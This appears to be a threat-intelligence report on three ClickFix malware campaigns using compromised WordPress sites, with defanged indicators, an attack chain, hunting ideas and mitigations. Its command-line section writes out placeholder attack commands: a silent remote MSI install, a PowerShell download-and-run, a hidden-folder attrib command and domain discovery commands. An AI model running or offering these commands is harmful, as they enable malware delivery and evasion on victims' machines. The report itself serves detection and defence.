A ClickFix cluster: Observed activity from recent ClickFix campaigns
A cluster of three ClickFix campaigns observed between June and July 2026 used compromised WordPress sites to deliver social engineering lures that copied malicious commands to victim clipboards. The campaigns deployed payloads via MSI packages, NodeJS, and Python runtimes, all leveraging DLL sideloading with legitimate Windows binaries and hiding artifacts in ProgramData. C2 domains were resolved through dead drop encodings stored in Digital Point forum user profiles. The activity overlaps with the Lorem Ipsum malware family and shares discovery TTPs with the Supper backdoor attributed to Vanilla Tempest.
- domainbeastcloudsecurity[.]comC2 domain resolved from dead drop resolver.
- domainbestpopularimages[.]comC2 domain resolved from dead drop resolver.
- domaincloudbreachdetection[.]comPayload delivery domain used in Campaign 2. Serves update.zip containing malicious JavaScript loader via /get_verify query.
- domaincooldogshistory[.]comPayload delivery domain used in Campaign 3. Hosts ClickFix JavaScript framework and Python script archive via /get_verify query.
- domaineditdocumentfree[.]comC2 domain resolved from dead drop resolver.
- domainhwid-cloude[.]us[.]comDomain hosting malicious MSI packages referenced in the ClickFix clipboard payload for Campaign 1.
- domainnewpopularimages[.]comC2 domain resolved from dead drop resolver.
- domainopendocumentonline[.]comC2 domain resolved from dead drop resolver.
- domainpeekyourphoto[.]comC2 domain resolved from dead drop resolver.
- domainphotocategories[.]comC2 domain resolved from dead drop resolver.
- domainseephotoalbum[.]comC2 domain resolved from dead drop resolver.
- domaintopimagechecker[.]comC2 domain resolved from dead drop resolver.
- domaintopphotoalbum[.]comC2 domain resolved from dead drop resolver.
- filenameC:\ProgramData\1\python.exePython 3.5 runtime dropped to ProgramData by Campaign 3 PowerShell loader to execute captcha.py.
- filenameC:\ProgramData\Captcha.pyMalicious Python script dropped by Campaign 3. Unpacks obfuscated payloads and creates persistence mechanism.
- filenameC:\ProgramData\DotNetOptimizer_xa312vpOHidden folder created by attacker in ProgramData to house renamed .NET ClickOnce utility and malicious mscoree.dll.
- filenameC:\ProgramData\Update.jsMalicious JavaScript file dropped by Campaign 2 NodeJS loader.
- ip130[.]49[.]155[.]201C2 server IP identified in campaign infrastructure.
- ip144[.]172[.]103[.]194C2 server IP identified across campaign infrastructure.
- ip145[.]239[.]54[.]189C2 server IP identified in campaign infrastructure.
- ip146[.]19[.]49[.]4C2 server IP identified in campaign infrastructure.
- ip146[.]19[.]49[.]71C2 server IP identified in campaign infrastructure.
- ip149[.]56[.]95[.]157C2 server IP identified in campaign infrastructure.
- ip193[.]243[.]147[.]137C2 server IP identified in campaign infrastructure.
- ip45[.]129[.]199[.]77C2 server IP identified in campaign infrastructure.
- ip45[.]83[.]180[.]237C2 server IP identified in campaign infrastructure.
- ip91[.]236[.]230[.]237C2 server IP identified in campaign infrastructure.
- sha2562104e7018aa9fd2507cc036e2aa4ff80e613a156ab1cb78604773d447298a854PowerShell Loader variant used in campaign activity.
- sha25632b1f676dd98449a47ba671c4bdd6269e070a8fb349d1c02404a3784b4d4c77fSHA256 hash of captcha.py Python script in Campaign 3. Unpacks obfuscated strings to create malicious DLL, legitimate sideloading binary, and persistence batch script.
- sha2564cbaac416954408f37ebcc97ba4c08facef86c20b3cbec9324a4932b5fc1acbbSHA256 hash of dui70.dll malicious DLL used in sideloading chain.
- sha2566304d348b45154b4d6d7c3f1176304d2c0112d23c08a0178fa6d0b74a967a85dSHA256 hash of malicious mscoree.dll sideloaded by renamed .NET ClickOnce Launch Utility in Campaigns 1 and 2.
- sha25672cd20b5a398febd6868e1b88e86afb5a8163969b8cd7bb7895f52fc9ea4424dSHA256 hash of PowerShell Loader used across campaigns to pull down renamed .NET ClickOnce utility and malicious DLL.
- sha2567545d737202df6d90118e04a963acbd1b16a1f4e0a1c173bef7ab9489efdcd16Update.js JavaScript payload executed via NodeJS in Campaign 2.
- sha256d092ac012ccb75416802ee697a5f65b2c0545d047a20869c53124db9e37f3dcdPersistence batch script created by captcha.py. Adds registry run key and scheduled task.
- sha256f80d8f5950086a053c68dcdcb5902f2ad8b8e4fcf400855c316aef09fe0f55e5PowerShell loop execution script used in post-compromise activity.
- urlhxxps://cloudbreachdetection[.]com/get_verify?i=13011Payload download URL for Campaign 2 NodeJS loader. Delivers Update.zip containing malicious JavaScript.
- urlhxxps://cooldogshistory[.]com/get_verify?i=1753Payload download URL for Campaign 3 Python loader. Delivers archive containing captcha.py.
Detection / Hunteropenrouter
What Happened
Attackers used fake verification prompts on hacked websites to trick people into copying and pasting malicious commands. These commands downloaded hidden malware using different methods including fake software installers, JavaScript, and Python scripts. The malware hid itself in system folders and used legitimate-looking program names to avoid detection. The attackers controlled their malware by hiding instructions inside user profiles on a web design forum. In one case, attackers even called victims by phone to direct them to the malicious websites. Organizations should train employees to be suspicious of any website asking them to copy and paste commands, restrict who can run command-line tools, and deploy monitoring tools that catch unusual program activity.
Key Takeaways
- Three ClickFix campaigns observed in summer 2026 using MSI packages, NodeJS, and Python to deliver payloads via clipboard-copy social engineering on compromised WordPress sites.
- All campaigns shared DLL sideloading, consistent file-naming conventions in ProgramData, and C2 dead drop resolvers hosted in Digital Point forum user profiles.
- Threat actor used phone calls to directly persuade victims to visit compromised WordPress sites delivering ClickFix lures.
- Campaign 3 used the Polygon blockchain to retrieve domains hosting the ClickFix payload, adding a decentralized infrastructure layer.
- TTP and infrastructure overlap with BlueVoyant reporting on the Lorem Ipsum malware family and the Supper backdoor associated with Vanilla Tempest.
Affected Systems
- Windows endpoints (all versions with PowerShell, MSI, and ProgramData access)
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: Compromised WordPress sites display ClickFix lures that copy malicious PowerShell or MSI commands to victim clipboard; in one case actor called victims by phone to direct them to sites
- Execution: Victim pastes command which downloads runtime (NodeJS/Python/MSI) and malicious payload from C2 domain using /get_verify URL pattern
- Persistence: Scheduled task or registry run key created to execute payload at startup or hourly intervals
- Defense Evasion: attrib.exe marks ProgramData subfolder as hidden and system; legitimate Windows binaries renamed and used to sideload malicious DLLs (mscoree.dll, dui70.dll)
- Discovery: nltest, net.exe, dsregcmd, and ADSI searcher commands enumerate domain trusts, admin accounts, and device registration status
- Command and Control: Malware reads encoded strings from Digital Point forum user profiles to resolve C2 domains; beacons via POST to /api/init/<guid> with JFIF file payload
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
No detection rules are provided in the article. The article lists IOCs in a table format and describes TTPs but does not include YARA, Sigma, Snort, Suricata, or query-based detection logic.
Detection Engineering Assessment
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | PowerShell execution, child process spawning, attrib.exe usage, and scheduled task creation are visible to most EDR products. However, the use of legitimate renamed binaries for DLL sideloading and forum-based dead drop resolution over HTTPS reduces visibility into the C2 layer. |
| Network Visibility | Medium | HTTPS connections to payload delivery domains and Digital Point forum profiles are visible at the network layer. The use of standard web protocols and legitimate forum infrastructure makes C2 traffic blend with normal browsing. The JFIF file upload to /api/init/<guid> URIs is a distinguishable network signature if inspected. |
| Detection Difficulty | Moderate | The campaigns use legitimate binaries, standard protocols, and living-off-the-land techniques that generate noise. However, the combination of ProgramData folder creation with attrib hiding, renamed binaries sideloading DLLs, and Digital Point forum profile access provides enough behavioral anomalies for detection if telemetry is correlated. |
Required Log Sources
- Windows Security Event Log (Process Creation - Event ID 4688)
- Sysmon Event ID 1 (Process Create), 7 (Image Load), 11 (File Create), 22 (DNS)
- PowerShell Script Block Logging (Event ID 4104)
- Windows Task Scheduler logs
- EDR process telemetry
- Web proxy / firewall logs for HTTP(S) traffic
Hunting Hypotheses
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for processes that make HTTP requests to digitalpoint.com user profile pages, as this is an unusual destination for enterprise endpoints and serves as a dead drop resolver. | Web proxy logs, DNS resolution logs, EDR network connection telemetry | Command and Control | Low - legitimate access to a web design forum by developers or marketing staff is possible but uncommon in most enterprise environments. |
| Consider hunting for attrib.exe executions with +h +s arguments targeting paths under C:\ProgramData, as this is an unusual pattern for legitimate software installation. | Sysmon Event ID 1, EDR process execution telemetry with command line logging | Defense Evasion | Low - legitimate software rarely hides entire ProgramData subdirectories with both hidden and system attributes. |
| Consider hunting for renamed legitimate Windows binaries executing from non-standard paths under ProgramData, particularly .NET ClickOnce Launch Utility or LockScreenContentServer.exe, as these indicate DLL sideloading. | Sysmon Event ID 7 (Image Load), EDR module loading telemetry, process execution with file path context | Defense Evasion | Medium - some legitimate applications may use similar binaries, but execution from ProgramData with renamed filenames is atypical. |
| Consider hunting for HTTP POST requests to URIs matching the pattern /api/init/ followed by a GUID, with a JFIF file in the request body, as this is the C2 beacon pattern. | Web proxy logs with URL path inspection, network IDS, EDR network telemetry | Command and Control | Low - this specific URI pattern and JFIF upload combination is unlikely to appear in legitimate traffic. |
| Consider hunting for PowerShell or Python processes spawning from ProgramData subdirectories, especially when preceded by archive extraction activity in the same path. | Sysmon Event ID 1, EDR process ancestry telemetry | Execution | Medium - some legitimate development tools may execute from ProgramData, but combined with recent archive extraction it becomes suspicious. |
Control Gaps
- Application allowlisting would not catch renamed legitimate Windows binaries executing from ProgramData.
- Network security monitoring may not flag HTTPS traffic to Digital Point forum as malicious without destination reputation context.
- DLL sideloading via legitimate signed binaries may bypass application control solutions that trust the original publisher.
- Blockchain-based domain retrieval (Polygon eth_call) occurs entirely in the browser and would not be visible to endpoint or network security tools.
Key Behavioral Indicators
- 3DPDFMakerSmart.exe spawning suspicious child processes including XPFix.exe and Edge Cookie Exporter
- PowerShell executing from %LOCALAPPDATA%\Temp path following DLL sideloading event
- Scheduled task creation referencing executables in ProgramData subdirectories
- Batch script modifying registry run keys and creating scheduled tasks for hourly execution
- ADSI searcher queries enumerating users with description fields via PowerShell
- Multiple ProgramData subdirectories created with random suffixes in a short timeframe
False Positive Assessment
Low - The combination of ProgramData folder creation with hidden attributes, renamed legitimate binaries for DLL sideloading, Digital Point forum profile access for C2 resolution, and the specific /api/init/<guid> JFIF upload pattern provides a low false positive rate when correlated. Individual indicators such as PowerShell execution or scheduled task creation may generate noise, but the full behavioral chain is distinctive.
Recommendations
Immediate Mitigation
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider blocking the listed C2 IPs and domains at your firewall, proxy, and DNS filtering layers.
- Consider searching endpoint telemetry for any processes contacting digitalpoint.com user profile URLs, as these serve as C2 dead drop resolvers.
- If your EDR supports it, consider hunting for attrib.exe executions with +h +s flags targeting ProgramData paths across your fleet.
- Evaluate whether any endpoints have executed PowerShell commands containing 'get_verify' URL patterns, which indicate ClickFix payload delivery.
Infrastructure Hardening
- Consider implementing DNS filtering or sinkholing for the listed C2 domains and their resolving infrastructure.
- If your web proxy supports it, consider blocking or alerting on HTTP POST requests to URIs matching /api/init/ followed by GUID patterns.
- Evaluate whether restricting outbound traffic to Digital Point forum domains is feasible for your environment.
- Consider deploying network segmentation to limit lateral movement opportunities from compromised endpoints to domain controllers.
User Protection
- Consider enforcing application control policies that restrict PowerShell, cmd.exe, and terminal execution for non-administrative users.
- If supported by your EDR, consider enabling script block logging for PowerShell to capture full command content for investigation.
- Evaluate whether disabling AutoRun for MSI packages and restricting software installation to approved distribution channels reduces risk.
- Consider deploying endpoint detection that alerts on newly created hidden and system-attributed folders in ProgramData.
Security Awareness
- Consider incorporating ClickFix social engineering recognition into existing security awareness training, emphasizing that legitimate verification processes never require copying and pasting commands.
- Train employees to be skeptical of phone callers directing them to specific websites for verification, even if the caller appears knowledgeable.
- Consider adding guidance for employees to report any website that presents a verification prompt requiring clipboard interaction.
- If applicable to your organization, consider briefing help desk and IT staff on the phone-based social engineering tactic observed in these campaigns.
MITRE ATT&CK Mapping
Reconnaissance
Resource Development
Initial Access
Execution
Persistence
Stealth
Discovery
Command and Control
Additional IOCs
- Ips:
146[.]19[.]49[.]4- C2 server IP identified in campaign infrastructure.149[.]56[.]95[.]157- C2 server IP identified in campaign infrastructure.91[.]236[.]230[.]237- C2 server IP identified in campaign infrastructure.130[.]49[.]155[.]201- C2 server IP identified in campaign infrastructure.146[.]19[.]49[.]71- C2 server IP identified in campaign infrastructure.145[.]239[.]54[.]189- C2 server IP identified in campaign infrastructure.193[.]243[.]147[.]137- C2 server IP identified in campaign infrastructure.45[.]83[.]180[.]237- C2 server IP identified in campaign infrastructure.45[.]129[.]199[.]77- C2 server IP identified in campaign infrastructure.
- Domains:
seephotoalbum[.]com- C2 domain resolved from dead drop resolver.beastcloudsecurity[.]com- C2 domain resolved from dead drop resolver.bestpopularimages[.]com- C2 domain resolved from dead drop resolver.photocategories[.]com- C2 domain resolved from dead drop resolver.topimagechecker[.]com- C2 domain resolved from dead drop resolver.editdocumentfree[.]com- C2 domain resolved from dead drop resolver.newpopularimages[.]com- C2 domain resolved from dead drop resolver.topphotoalbum[.]com- C2 domain resolved from dead drop resolver.opendocumentonline[.]com- C2 domain resolved from dead drop resolver.peekyourphoto[.]com- C2 domain resolved from dead drop resolver.
- Urls:
hxxps://cloudbreachdetection[.]com/get_verify?i=13011- Payload download URL for Campaign 2 NodeJS loader. Delivers Update.zip containing malicious JavaScript.hxxps://cooldogshistory[.]com/get_verify?i=1753- Payload download URL for Campaign 3 Python loader. Delivers archive containing captcha.py.
- File Hashes:
7545d737202df6d90118e04a963acbd1b16a1f4e0a1c173bef7ab9489efdcd16(SHA256) - Update.js JavaScript payload executed via NodeJS in Campaign 2.2104e7018aa9fd2507cc036e2aa4ff80e613a156ab1cb78604773d447298a854(SHA256) - PowerShell Loader variant used in campaign activity.f80d8f5950086a053c68dcdcb5902f2ad8b8e4fcf400855c316aef09fe0f55e5(SHA256) - PowerShell loop execution script used in post-compromise activity.d092ac012ccb75416802ee697a5f65b2c0545d047a20869c53124db9e37f3dcd(SHA256) - Persistence batch script created by captcha.py. Adds registry run key and scheduled task.
- File Paths:
C:\ProgramData\DotNetOptimizer_xa312vpO- Hidden folder created by attacker in ProgramData to house renamed .NET ClickOnce utility and malicious mscoree.dll.C:\ProgramData\1\python.exe- Python 3.5 runtime dropped to ProgramData by Campaign 3 PowerShell loader to execute captcha.py.C:\ProgramData\Captcha.py- Malicious Python script dropped by Campaign 3. Unpacks obfuscated payloads and creates persistence mechanism.C:\ProgramData\Update.js- Malicious JavaScript file dropped by Campaign 2 NodeJS loader.
- Command Lines:
- Purpose: Install remotely hosted MSI package silently from ClickFix clipboard payload | Tools:
msiexec.exe| Stage: Initial Access |msiexec.exe /package http://<url> /Q - Purpose: Download NodeJS runtime and malicious JavaScript payload, extract and execute hidden | Tools:
powershell.exe,Invoke-WebRequest,Expand-Archive,Start-Process| Stage: Execution - Purpose: Download Python 3.5 runtime and malicious captcha.py, extract and execute hidden | Tools:
powershell.exe,Net.WebClient,Expand-Archive,Diagnostics.Process| Stage: Execution |powershell.exe -Command $w.DownloadFile('<url>', '$env:TEMP\a.zip') - Purpose: Hide malware directory in ProgramData with hidden and system file attributes | Tools:
attrib.exe| Stage: Defense Evasion |attrib.exe +h +s C:\ProgramData\<folder> - Purpose: Check device registration status for ransom targeting assessment | Tools:
powershell.exe,dsregcmd.exe| Stage: Discovery |dsregcmd.exe /status - Purpose: Enumerate domain controllers, domain admins, and trust relationships | Tools:
nltest.exe,net.exe,ipconfig.exe| Stage: Discovery |nltest.exe /dclist:
- Purpose: Install remotely hosted MSI package silently from ClickFix clipboard payload | Tools: